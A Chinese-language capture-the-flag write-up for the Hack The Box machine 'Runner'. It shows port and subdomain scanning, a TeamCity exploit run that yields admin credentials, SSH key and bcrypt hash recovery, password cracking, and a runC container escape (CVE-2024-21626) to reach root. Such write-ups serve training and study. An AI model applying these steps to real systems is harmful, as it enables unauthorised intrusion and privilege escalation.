信息收集
端口扫描
❯ rustscan -a 10.10.11.13 --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/catnb/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.13:22
Open 10.10.11.13:80
Open 10.10.11.13:8000
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 01:22 EDT
Initiating Ping Scan at 01:22
Scanning 10.10.11.13 [2 ports]
Completed Ping Scan at 01:22, 0.57s elapsed (1 total hosts)
Initiating Connect Scan at 01:22
Scanning runner.htb (10.10.11.13) [3 ports]
Discovered open port 80/tcp on 10.10.11.13
Discovered open port 22/tcp on 10.10.11.13
Discovered open port 8000/tcp on 10.10.11.13
Completed Connect Scan at 01:22, 1.05s elapsed (3 total ports)
Nmap scan report for runner.htb (10.10.11.13)
Host is up, received syn-ack (0.69s latency).
Scanned at 2024-04-27 01:22:18 EDT for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
8000/tcp open http-alt syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds
可以看到开放了22,80,8000端口.
Web 信息
尝试访问 80 端口自动跳转到了runner.htb,
于是把10.10.11.13 runner.htb加入 hosts.再次访问http://runner.htb,进入如下页面
目录爆破
feroxbuster -u http://runner.htb -k -d 1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,bak,txt,html,sql,zip -t 512 -e -C 404,500
没有任何有用的东西,访问 8000 端口提示 not found,猜测压根就没有 8000 端口,这个域名对应的就是 80 端口,8000 应该是在子域名上,尝试扫描子域名.
子域名收集
使用gobuster来扫描子域名.
gobuster dns -d runner.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 512
然后得到了一个域名Found: webproxy.runner.htb,从名字可以看出来很像是 Web 代理,通过 Web 代理再去访问 8000 端口。
屁用没有。。。
gobuster dns -d runner.htb -w=/usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 512
换了个字典,得到了一个新的子域名,Found: teamcity.runner.htb,加入 hosts 尝试访问,得到一个像是 jetbrains 家的产品的登录页面。
攻击
漏洞利用
python3 51884.py -u http://teamcity.runner.htb
执行结束后获得账号密码。
Token: eyJ0eXAiOiAiVENWMiJ9.OW9hSDNobVVBSjFKYU5ULTUwRzF2NWFkRzNv.N2QxY2I3YmMtNDE2YS00MjQxLTlhZWUtNDgwNjNmYjM0MDBj
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminxLUJ
Password: Main_password!!**
登录后进入如下页面
一番搜寻之后发现 administrator 下有一个 backup 模块,里面可以手动备份文件,文件会出现在上面的 diagnostics 模块中,然后可以直接下载文件。然后在备份文件里面找到了私钥文件id_rsa,然后在 user 文件中找到了 admin 用户ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714218231380, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, city_adminxluj, $2a$07$R6Wlp9M.OyE43AAy61Spq.2P.U.ekCarQa2P8LX0y1fb5SqgB6Rte, , angry-admin@funnybunny.org, 1714218342863, BCRYPT
发现 admin 用户的联系方式为 john,猜测为用户名,尝试 ssh 登录。
chmod 600 id_rsa
ssh john@runner.htb -i id_rsa
切记,一定要使用 600 权限,高了不给用
成功进入后获取到user.txt。
提权
端口转发
成功进入服务器,没有获取密码无法使用sudo -l,所以尝试查看端口看是否有敏感的服务。执行netstat -ano发现存在 9000 端口,使用 SSH 转发端口。
ssh -L 9000:127.0.0.1:9000 john@runner.htb -i id_rsa
然后我们访问本地的 9000 端口发现 Portainer 服务,这是一个 docker 容器的 Web 管理页面。但是我们没有账号密码,之前的 user 文件中还有别的用户的信息和密码哈希,尝试爆破密码。
john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
#得到结果matthew:piper123
尝试使用这个账号密码登录 Portainer,成功登录。
上网一查发现这玩意 2.19.x 版本都存在一个漏洞,CVE-2024-33661,但我感觉和这玩意没关系,因为没有利用漏洞的方式,所以重点应该在 docker 上,一查发现一个runC逃逸,很明显了,就是要利用 CVE-2024-21626。
CVE-2024-21626
首先新建一个容器,镜像随意,我们这里使用 teamcity 镜像,然后将工作目录设置为/proc/self/fd/8,然后启动容器,使用 root 连接,然后执行ls ../../../root/得到宿主机 root 目录的内容,然后执行cat ../../../root/root.txt获得 flag。






